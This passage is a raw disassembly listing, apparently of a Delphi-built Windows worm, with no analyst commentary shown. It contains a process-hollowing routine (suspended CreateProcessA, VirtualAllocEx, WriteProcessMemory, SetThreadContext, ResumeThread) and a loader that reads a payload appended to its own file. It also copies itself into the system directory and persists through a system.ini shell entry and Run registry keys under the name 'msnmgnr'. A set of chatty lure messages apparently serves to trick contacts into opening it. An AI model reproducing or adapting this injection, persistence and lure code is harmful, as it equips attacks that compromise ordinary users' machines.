loc_40017AF6: ; CODE XREF: sub_40017A1C+C1j
mov ecx, eax
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
call sub_40006750
mov eax, [ebp+var_10]
mov edx, [eax+38h]
mov eax, [ebp+var_10]
mov eax, [eax+54h]
call sub_400178BC
add eax, [ebp+var_C]
mov [ebp+var_C], eax
mov eax, [ebp+var_10]
movzx edi, word ptr [eax+6]
dec edi
test edi, edi
jb short loc_40017B98
inc edi
xor ebx, ebx
loc_40017B29: ; CODE XREF: sub_40017A1C+17Aj
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+10h]
test eax, eax
jbe short loc_40017B72
lea edx, [ebx+ebx*4]
cmp eax, [esi+edx*8+8]
jbe short loc_40017B44
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+8]
loc_40017B44: ; CODE XREF: sub_40017A1C+11Fj
lea edx, [ebx+ebx*4]
mov edx, [esi+edx*8+14h]
add edx, [ebp+var_8]
mov ecx, eax
mov eax, [ebp+var_C]
call sub_40006750
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+8]
mov edx, [ebp+var_10]
mov edx, [edx+38h]
call sub_400178BC
add eax, [ebp+var_C]
mov [ebp+var_C], eax
jmp short loc_40017B94
; ---------------------------------------------------------------------------
loc_40017B72: ; CODE XREF: sub_40017A1C+116j
lea eax, [ebx+ebx*4]
cmp dword ptr [esi+eax*8+8], 0
jz short loc_40017B94
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+8]
mov edx, [ebp+var_10]
mov edx, [edx+38h]
call sub_400178BC
add eax, [ebp+var_C]
mov [ebp+var_C], eax
loc_40017B94: ; CODE XREF: sub_40017A1C+154j
; sub_40017A1C+15Ej
inc ebx
dec edi
jnz short loc_40017B29
loc_40017B98: ; CODE XREF: sub_40017A1C+108j
lea eax, [ebp+var_74]
xor ecx, ecx
mov edx, 44h
call sub_40003580
lea eax, [ebp+var_248]
xor ecx, ecx
mov edx, 0CCh
call sub_40003580
cmp [ebp+var_4], 0
jz short loc_40017C1D
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp+var_250]
lea edx, [ebp+var_179]
mov ecx, 105h
call sub_40004AF4
push [ebp+var_250]
push offset dword_40017D80
push [ebp+var_4]
lea eax, [ebp+var_24C]
mov edx, 3
call sub_40004C08
mov eax, [ebp+var_24C]
call sub_40004D48
push eax
push 0
call ds:dword_4001F38C ; CreateProcessA
jmp short loc_40017C5B
; ---------------------------------------------------------------------------
loc_40017C1D: ; CODE XREF: sub_40017A1C+1A1j
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp+var_254]
lea edx, [ebp+var_179]
mov ecx, 105h
call sub_40004AF4
mov eax, [ebp+var_254]
call sub_40004D48
push eax
push 0
call ds:dword_4001F38C ; CreateProcessA
loc_40017C5B: ; CODE XREF: sub_40017A1C+1FFj
call sub_400179D4
mov [ebp+var_248], 10007h
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_2C]
push eax
call ds:dword_4001F388 ; GetThreadContext
lea eax, [ebp+var_1C]
push eax
push 4
lea eax, [ebp+var_18]
push eax
mov eax, [ebp+var_1A4]
add eax, 8
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F384 ; ReadProcessMemory
push 40h
push 3000h
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10]
mov eax, [eax+34h]
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F380 ; VirtualAllocEx
lea eax, [ebp+var_1C]
push eax
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_10]
mov eax, [eax+34h]
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F3A8 ; WriteProcessMemory
lea eax, [ebp+var_1C]
push eax
push 4
mov eax, [ebp+var_10]
add eax, 34h
push eax
mov eax, [ebp+var_1A4]
add eax, 8
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F3A8 ; WriteProcessMemory
mov eax, [ebp+var_10]
mov eax, [eax+34h]
mov edx, [ebp+var_10]
add eax, [edx+28h]
mov [ebp+var_198], eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_2C]
push eax
call ds:dword_4001F37C ; SetThreadContext
mov eax, [ebp+var_2C]
push eax
call ds:dword_4001F378 ; ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40017D44
loc_40017D2D: ; CODE XREF: sub_40017A1C+326j
call sub_400179D4
mov eax, [ebp+var_14]
push eax
call sub_400062D8
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40017D3D: ; DATA XREF: sub_40017A1C+91o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017D2D
; ---------------------------------------------------------------------------
loc_40017D44: ; CODE XREF: sub_40017A1C+320j
; DATA XREF: sub_40017A1C+30Co
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40017D71
loc_40017D51: ; CODE XREF: sub_40017A1C+353j
lea eax, [ebp+var_254]
mov edx, 3
call sub_400048A8
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40017D6A: ; DATA XREF: sub_40017A1C+31o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017D51
; ---------------------------------------------------------------------------
loc_40017D71: ; CODE XREF: sub_40017A1C+34Dj
; DATA XREF: sub_40017A1C+330o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40017A1C endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 1
dword_40017D80 dd 20h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017D84 proc near ; CODE XREF: .itext:400199CCp
var_174 = byte ptr -174h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_14C = byte ptr -14Ch
var_146 = word ptr -146h
var_54 = byte ptr -54h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFE8Ch
push ebx
push esi
push edi
mov [ebp+var_C], ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40017F00
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+var_4]
call sub_40004D48
push eax
call ds:dword_4001F3B4 ; CreateFileA
mov esi, eax
push 0
push 0
push 0
push esi
call ds:dword_4001F3B8 ; SetFilePointer
push 0
lea eax, [ebp+var_10]
push eax
push 40h
lea eax, [ebp+var_54]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
cmp [ebp+var_10], 40h
jnz loc_40017EE3
push 0
push 0
mov eax, [ebp+var_18]
push eax
push esi
call ds:dword_4001F3B8 ; SetFilePointer
push 0
lea eax, [ebp+var_10]
push eax
push 0F8h
lea eax, [ebp+var_14C]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
cmp [ebp+var_10], 0F8h
jnz loc_40017EDA
push 1
push 0
movzx eax, [ebp+var_146]
dec eax
add eax, eax
add eax, eax
add eax, eax
lea eax, [eax+eax*4]
push eax
push esi
call ds:dword_4001F3B8 ; SetFilePointer
push 0
lea eax, [ebp+var_10]
push eax
push 28h
lea eax, [ebp+var_174]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
mov eax, [ebp+var_160]
add eax, [ebp+var_164]
mov [ebp+var_14], eax
push 0
push esi
call ds:dword_4001F3C0 ; GetFileSize
mov edi, eax
sub edi, [ebp+var_14]
test edi, edi
jbe short loc_40017ED1
push 0
push 0
mov eax, [ebp+var_14]
push eax
push esi
call ds:dword_4001F3B8 ; SetFilePointer
mov eax, edi
call sub_40002C20
mov edx, [ebp+var_8]
mov [edx], eax
push 0
lea eax, [ebp+var_10]
push eax
push edi
mov eax, [ebp+var_8]
mov eax, [eax]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
cmp edi, [ebp+var_10]
jnz short loc_40017EC8
mov bl, 1
mov eax, [ebp+var_C]
mov [eax], edi
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017EC8: ; CODE XREF: sub_40017D84+132j
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017ED1: ; CODE XREF: sub_40017D84+FEj
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017EDA: ; CODE XREF: sub_40017D84+A6j
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017EE3: ; CODE XREF: sub_40017D84+71j
push esi
call ds:dword_4001F3C4 ; CloseHandle
loc_40017EEA: ; CODE XREF: sub_40017D84+142j
; sub_40017D84+14Bj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40017F07
loc_40017EF7: ; CODE XREF: sub_40017D84+181j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40017F00: ; DATA XREF: sub_40017D84+20o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017EF7
; ---------------------------------------------------------------------------
loc_40017F07: ; CODE XREF: sub_40017D84+17Bj
; DATA XREF: sub_40017D84+16Eo
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40017D84 endp
; =============== S U B R O U T I N E =======================================
sub_40017F10 proc near ; CODE XREF: .itext:4001941Ep
push ebx
mov ebx, eax
call sub_40003058
mov eax, 9
call sub_40003080
mov ds:dword_4001F6E0, eax
mov eax, ds:dword_4001F6E0
cmp eax, 9 ; switch 10 cases
ja loc_40017FEE ; default
jmp ds:off_40017F3C[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40017F3C dd offset loc_40017F64 ; DATA XREF: sub_40017F10+25r
dd offset loc_40017F72 ; jump table for switch statement
dd offset loc_40017F80
dd offset loc_40017F8E
dd offset loc_40017F9C
dd offset loc_40017FAA
dd offset loc_40017FB8
dd offset loc_40017FC6
dd offset loc_40017FD4
dd offset loc_40017FE2
; ---------------------------------------------------------------------------
loc_40017F64: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 0
mov edx, offset aHahaLookAtThis ; "haha, look at this Wallpaper :D its gre"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F72: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 1
mov edx, offset aLookAtThisNewG ; "Look at this new game... :D, Look at my"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F80: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 2
mov edx, offset aLookiMyNewHair ; "Looki ^^, my new hair style what you th"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F8E: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 3
mov edx, offset aWonnaSeeARealE ; "Wonna see a real evil pic? :D mwahaha B"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F9C: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 4
mov edx, offset aNowThisIsWhatI ; "Now this is what i call Pure Ownage..."
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FAA: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 5
mov edx, offset aIFinallyGotANe ; "I finally got a new car, what you think"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FB8: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 6
mov edx, offset aOoooTellMeIfYo ; "oooo Tell me if you like my new compute"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FC6: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 7
mov edx, offset aTellMeIfThisLo ; "Tell me if this looks coo, i made my ow"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FD4: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 8
mov edx, offset aIWentToAPartyL ; "I went to a party last night, i got so "...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FE2: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 9
mov edx, offset aYouGotoSeeThis ; "You goto see this pic, its brilliant ^_"...
call sub_400048D8
loc_40017FEE: ; CODE XREF: sub_40017F10+1Fj
pop ebx ; default
retn
sub_40017F10 endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 29h
aHahaLookAtThis db 'haha, look at this Wallpaper :D its great',0
; DATA XREF: sub_40017F10+56o
align 4
dd 0FFFFFFFFh, 38h
aLookAtThisNewG db 'Look at this new game... :D, Look at my kills :P Ownage?',0
; DATA XREF: sub_40017F10+64o
align 4
dd 0FFFFFFFFh, 2Bh
aLookiMyNewHair db 'Looki ^^, my new hair style what you think?',0
; DATA XREF: sub_40017F10+72o
dd 0FFFFFFFFh, 40h
aWonnaSeeARealE db 'Wonna see a real evil pic? :D mwahaha Bin-Ladin in a Blender ^_^',0
; DATA XREF: sub_40017F10+80o
align 4
dd 0FFFFFFFFh, 26h
aNowThisIsWhatI db 'Now this is what i call Pure Ownage...',0 ; DATA XREF: sub_40017F10+8Eo
align 4
dd 0FFFFFFFFh, 28h
aIFinallyGotANe db 'I finally got a new car, what you think?',0
; DATA XREF: sub_40017F10+9Co
align 4
dd 0FFFFFFFFh, 41h
aOoooTellMeIfYo db 'oooo Tell me if you like my new computer :) taken me ages to make'
; DATA XREF: sub_40017F10+AAo
db 0
align 4
dd 0FFFFFFFFh, 5Ch
aTellMeIfThisLo db 'Tell me if this looks coo, i made my own Skin for Windows :), All'
; DATA XREF: sub_40017F10+B8o
db ' blue and grey and stuff ^^',0
align 10h
dd 0FFFFFFFFh, 70h
aIWentToAPartyL db 'I went to a party last night, i got so wasted, hehe, here is a pi'
; DATA XREF: sub_40017F10+C6o
db 'c of me trying to do that Cloth trick on tables',0
align 4
dd 0FFFFFFFFh, 28h
aYouGotoSeeThis db 'You goto see this pic, its brilliant ^_^',0
; DATA XREF: sub_40017F10+D4o
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400182B0 proc near ; DATA XREF: .text:400183E8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40018301
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, offset dword_40023C68
call sub_40006204
mov eax, offset dword_40023C6C
call sub_40006204
mov eax, offset dword_40023C70
call sub_40006204
mov eax, offset dword_40023C74
call sub_40006204
mov eax, offset dword_40023C78
call sub_40004884
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40018308
loc_40018300: ; CODE XREF: sub_400182B0+56j
retn
; ---------------------------------------------------------------------------
loc_40018301: ; DATA XREF: sub_400182B0+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40018300
; ---------------------------------------------------------------------------
loc_40018308: ; CODE XREF: sub_400182B0:loc_40018300j
; DATA XREF: sub_400182B0+4Bo
pop ebp
retn
sub_400182B0 endp
; ---------------------------------------------------------------------------
align 4
dword_4001830C dd 1Bh ; .bss:off_4001E7D0o
dd offset dword_40018314
dword_40018314 dd 2 dup(0) dd offset loc_40019000
dd offset sub_40006350
dd 2 dup(0)
dd offset loc_40019098
dd offset sub_40006758
dd 0Eh dup(0)
dd offset sub_400190AC
dd offset sub_4000CC50
dd offset loc_40019133+1
dd offset sub_4000D598
dd offset sub_40019144
dd offset sub_40012E54
dd 2 dup(0)
dd offset loc_400191F0
dd offset sub_40012F38
dd offset sub_400191F8
dd offset sub_40013ED4
dd offset loc_4001928C
dd offset sub_40013FA4
dd offset loc_40019294
dd offset sub_40014740
dd 2 dup(0)
dd offset byte_4001929C
dd offset sub_40015C34
dd 4 dup(0)
dd offset loc_40019398
dd offset sub_40016AB0
dd 5 dup(0)
dd offset sub_400182B0
_text ends
; ---------------------------------------------------------------------------
; Section 2. (virtual address 00019000)
; Virtual size : 00000BFC ( 3068.)
; Section size in file : 00000BFC ( 3068.)
; Offset to raw data for section: 00019000
; Flags 60000020: Text Executable Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_itext segment para public 'CODE' use32
assume cs:_itext
;org 40019000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
loc_40019000: ; DATA XREF: .text:4001831Co
sub ds:dword_4001C5B8, 1
jnb locret_40019094
call sub_400029FC
mov byte_4001A00C, 2
mov ds:off_4001C014, offset sub_40001168
mov ds:off_4001C018, offset sub_40001178
mov ds:byte_4001C04E, 2
mov ds:off_4001C000, offset sub_40005694
call sub_40003B64
test al, al
jz short loc_4001904C
call sub_40003B94
loc_4001904C: ; CODE XREF: .itext:40019045j
call sub_40003C58
mov ds:word_4001C054, 0D7B0h
mov ds:word_4001C220, 0D7B0h
mov ds:word_4001C3EC, 0D7B0h
call sub_400011D0 ; GetCommandLineA
mov ds:dword_4001C040, eax
call sub_400012A0
mov ds:dword_4001C03C, eax
call sub_40006348 ; GetACP
mov ds:dword_4001C5BC, eax
call sub_40001288 ; GetCurrentThreadId
mov ds:dword_4001C034, eax
locret_40019094: ; CODE XREF: .itext:40019007j
retn
; ---------------------------------------------------------------------------
align 4
loc_40019098: ; DATA XREF: .text:4001832Co
sub ds:dword_4001E800, 1
jnb short locret_400190A8
xor eax, eax
mov ds:dword_4001E804, eax
locret_400190A8: ; CODE XREF: .itext:4001909Fj
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400190AC proc near ; DATA XREF: .text:4001836Co
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_4001911E
push dword ptr fs:[eax]
mov fs:[eax], esp
sub ds:dword_4001E918, 1
jnb short loc_40019110
mov eax, offset dword_4000C980
call sub_40004624
mov eax, offset dword_4000CA6C
call sub_4000464C
cmp ds:byte_4001E7F5, 0
jz short loc_400190F2
mov eax, offset off_4001A84C
mov edx, offset loc_40019130
call sub_400048D8
loc_400190F2: ; CODE XREF: sub_400190AC+35j
call sub_4000B72C
mov eax, offset sub_4000C230
call sub_400060A4
call sub_4000B830
call sub_4000C4D8
call sub_4000BE64
loc_40019110: ; CODE XREF: sub_400190AC+18j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40019125
loc_4001911D: ; CODE XREF: sub_400190AC+77j
retn
; ---------------------------------------------------------------------------
loc_4001911E: ; DATA XREF: sub_400190AC+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001911D
; ---------------------------------------------------------------------------
loc_40019125: ; CODE XREF: sub_400190AC:loc_4001911Dj
; DATA XREF: sub_400190AC+6Co
pop ebp
retn
sub_400190AC endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
; ---------------------------------------------------------------------------
loc_40019130: ; DATA XREF: sub_400190AC+3Co
xor [eax+0], bh
loc_40019133: ; DATA XREF: .text:40018374o
add [ebx+1F2802Dh], al
inc eax
add [ebx+5], esi
call sub_4000D28C
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40019144 proc near ; DATA XREF: .text:4001837Co
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_400191E5
push dword ptr fs:[eax]
mov fs:[eax], esp
sub ds:dword_4001F2A4, 1
jnb short loc_400191D7
mov eax, offset dword_4001F284
call sub_40012AC4
mov eax, offset sub_4000E0EC
mov ds:off_4001F294, eax
mov eax, offset sub_4000DC90
mov ds:off_4001F298, eax
mov edx, offset sub_4000DBA0
mov ds:off_4001F29C, edx
mov ds:off_4001F2A0, eax
mov eax, offset sub_4000E3EC
mov edx, off_4001AFD0
mov [edx], eax
mov eax, offset sub_400127B8
mov edx, off_4001AEE4
mov [edx], eax
mov eax, offset sub_4000E700
mov edx, off_4001B018
mov [edx], eax
mov eax, offset sub_400116DC
mov edx, off_4001B0B4
mov [edx], eax
mov eax, offset sub_40011DFC
mov edx, off_4001B024
mov [edx], eax
push offset dword_4001F2AC
call sub_400065E0 ; InitializeCriticalSection
loc_400191D7: ; CODE XREF: sub_40019144+18j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400191EC
loc_400191E4: ; CODE XREF: sub_40019144+A6j
retn
; ---------------------------------------------------------------------------
loc_400191E5: ; DATA XREF: sub_40019144+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400191E4
; ---------------------------------------------------------------------------
loc_400191EC: ; CODE XREF: sub_40019144:loc_400191E4j
; DATA XREF: sub_40019144+9Bo
pop ebp
retn
sub_40019144 endp
; ---------------------------------------------------------------------------
align 10h
loc_400191F0: ; DATA XREF: .text:4001838Co
sub ds:dword_4001F2C4, 1
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400191F8 proc near ; DATA XREF: .text:40018394o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40019281
push dword ptr fs:[eax]
mov fs:[eax], esp
sub ds:dword_4001F2D0, 1
jnb short loc_40019273
call sub_40013E14
mov eax, offset sub_40013ECC
call sub_40006094
mov dl, 1
mov eax, ds:off_40007908
call sub_4000C69C
mov edx, eax
test edx, edx
jz short loc_40019236
sub edx, 0FFFFFFD4h
loc_40019236: ; CODE XREF: sub_400191F8+39j
mov eax, offset dword_4001F2C8
call sub_4000621C
mov dl, 1
mov eax, ds:off_40013214
call sub_400133D4
mov ds:dword_4001F2D8, eax
mov dl, 1
mov eax, ds:off_400130A4
call sub_4001394C
mov ds:dword_4001F2D4, eax
mov dl, 1
mov eax, ds:off_400130A4
call sub_4001394C
mov ds:dword_4001F2E0, eax
loc_40019273: ; CODE XREF: sub_400191F8+18j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40019288
loc_40019280: ; CODE XREF: sub_400191F8+8Ej
retn
; ---------------------------------------------------------------------------
loc_40019281: ; DATA XREF: sub_400191F8+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40019280
; ---------------------------------------------------------------------------
loc_40019288: ; CODE XREF: sub_400191F8:loc_40019280j
; DATA XREF: sub_400191F8+83o
pop ebp
retn
sub_400191F8 endp
; ---------------------------------------------------------------------------
align 4
loc_4001928C: ; DATA XREF: .text:4001839Co
sub ds:dword_4001F2FC, 1
retn
; ---------------------------------------------------------------------------
loc_40019294: ; DATA XREF: .text:400183A4o
sub ds:dword_4001F300, 1
retn
; ---------------------------------------------------------------------------
byte_4001929C db 83h, 2Dh ; DATA XREF: .text:400183B4o
dd offset dword_4001F308
dw 0F01h
db 83h, 0EDh, 0
align 4
dd 0C632E800h
db 2 dup(0FFh), 68h
dd offset dword_4001F320
db 0E8h
dd 0FFFED328h
db 68h
dd offset dword_4001F338
db 0E8h, 1Eh, 0D3h
dd 76AFFFEh, 0FED3E7E8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F310[ebx]
; ---------------------------------------------------------------------------
dw 56Ah
dd 0FED3DBE8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F314[ebx]
; ---------------------------------------------------------------------------
dw 0D6Ah
dd 0FED3CFE8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F318[ebx]
; ---------------------------------------------------------------------------
dw 68h
dd 6A00007Fh, 0D43EE800h
db 0FEh, 0FFh, 0A3h
dd offset dword_4001F31C
db 0E8h
dd 0FFFFC660h, 30B966h
db 0B2h, 1, 0A1h
dd offset off_400147BC
db 0E8h
dd 0FFFFB584h
db 0A3h
dd offset dword_4001F350
db 66h, 0B9h, 10h
dd 0A101B200h
dd offset off_400147BC
dd 0FFB56FE8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F354[ebx]
; ---------------------------------------------------------------------------
dw 0B966h
dd 1B20010h
db 0A1h
dd offset off_40014824
db 0E8h, 5Ah, 0B5h
db 2 dup(0FFh), 0A3h
dd offset dword_4001F358
db 0B2h
db 1, 0A1h
dd offset off_40015ADC
dw 0F1E8h
; ---------------------------------------------------------------------------
mov edi, 0F360A3FFh
add [eax-4Eh], eax
add ds:off_400130A4[ecx], esp
call sub_4001394C
mov dword_4001AD44, eax
mov dl, 1
mov eax, ds:off_400130A4
call sub_4001394C
mov ds:dword_4001F35C, eax
mov ecx, offset sub_40014D6C
mov edx, offset sub_40014D7C
mov eax, ds:off_40014788
call sub_400135EC
mov ecx, offset loc_40014F40
mov edx, offset loc_40014F50
mov eax, ds:off_400147A0
call sub_400135EC
retn
; ---------------------------------------------------------------------------
align 4
loc_40019398: ; DATA XREF: .text:400183CCo
sub ds:dword_4001F364, 1
jnb short locret_400193EC
call sub_4001607C
mov eax, offset sub_400166E8
mov edx, off_4001B02C
mov [edx], eax
mov eax, off_4001AEF8
mov dword ptr [eax], offset sub_40016958
mov eax, offset sub_40016180
mov edx, off_4001B054
mov [edx], eax
mov eax, off_4001AED4
cmp byte ptr [eax], 0
jnz short locret_400193EC
mov eax, off_4001AFB8
mov eax, [eax]
mov ds:dword_4001F370, eax
mov eax, off_4001AFB8
mov dword ptr [eax], offset sub_40016A34
locret_400193EC: ; CODE XREF: .itext:4001939Fj
; .itext:400193D3j
retn
; ---------------------------------------------------------------------------
align 10h
public start
start:
push ebp
mov ebp, esp
mov ecx, 8
loc_400193F8: ; CODE XREF: .itext:400193FDj
push 0
push 0
dec ecx
jnz short loc_400193F8
push ecx
push ebx
push esi
push edi
mov eax, offset dword_4001830C
call sub_40006474
xor eax, eax
push ebp
push offset loc_40019AD3
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp-18h]
call sub_40017F10
push 0FFh
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
call sub_400065B8 ; GetSystemDirectoryA
mov eax, offset aIfb ; "¨f¡"
mov edx, offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
mov ecx, 1C8h
call sub_40004AF4
mov eax, offset aIfb ; "¨f¡"
mov edx, offset dword_40019AEC
call sub_40004B50
push 0
mov eax, ds:dword_40023C78
call sub_40004D48
push eax
lea edx, [ebp-1Ch]
xor eax, eax
call sub_40002FF8
mov eax, [ebp-1Ch]
call sub_40004D48
push eax
call sub_40006500 ; CopyFileA
push offset dword_40019AFC
push offset aExplorer_exeMs ; "Explorer.exe msnmngr.exe"
push offset aShell ; "shell"
push offset aBoot ; "boot"
call sub_40006668 ; WritePrivateProfileStringA
push 100h
push offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
call sub_400065B8 ; GetSystemDirectoryA
mov dl, 1
mov eax, ds:off_4001404C
call sub_4001414C
mov ebx, eax
mov edx, 80000002h
mov eax, ebx
call sub_400141EC
mov cl, 1
mov edx, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
mov eax, ebx
call sub_40014250
test al, al
jz short loc_400194FC
lea eax, [ebp-20h]
mov edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
mov ecx, 100h
call sub_40004AF4
lea eax, [ebp-20h]
mov edx, offset dword_40019B74
call sub_40004B50
mov ecx, [ebp-20h]
mov edx, offset aMsnmgnr ; "msnmgnr"
mov eax, ebx
call sub_400145A4
loc_400194FC: ; CODE XREF: .itext:400194CCj
mov eax, ebx
call sub_400141BC
mov dl, 1
mov eax, ds:off_4001404C
call sub_4001414C
mov ebx, eax
mov edx, 80000002h
mov eax, ebx
call sub_400141EC
mov cl, 1
mov edx, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
mov eax, ebx
call sub_40014250
test al, al
jz short loc_4001955D
lea eax, [ebp-24h]
mov edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
mov ecx, 100h
call sub_40004AF4
lea eax, [ebp-24h]
mov edx, offset dword_40019B74
call sub_40004B50
mov ecx, [ebp-24h]
mov edx, offset aMsnmgnr ; "msnmgnr"
mov eax, ebx
call sub_400145A4
loc_4001955D: ; CODE XREF: .itext:4001952Dj
mov eax, ebx
call sub_400141BC
call sub_400171BC
call sub_400173FC
mov eax, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
xor ecx, ecx
mov edx, 104h
call sub_40003580
push 104h
push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
call ds:dword_4001F3AC ; GetModuleFileNameA
mov edx, offset aStr ; "STR"
mov eax, offset dword_4001F960
call sub_40016F88
test eax, eax
jz loc_40019AB8
mov edx, offset dword_4001F964
mov ecx, ds:dword_4001F960
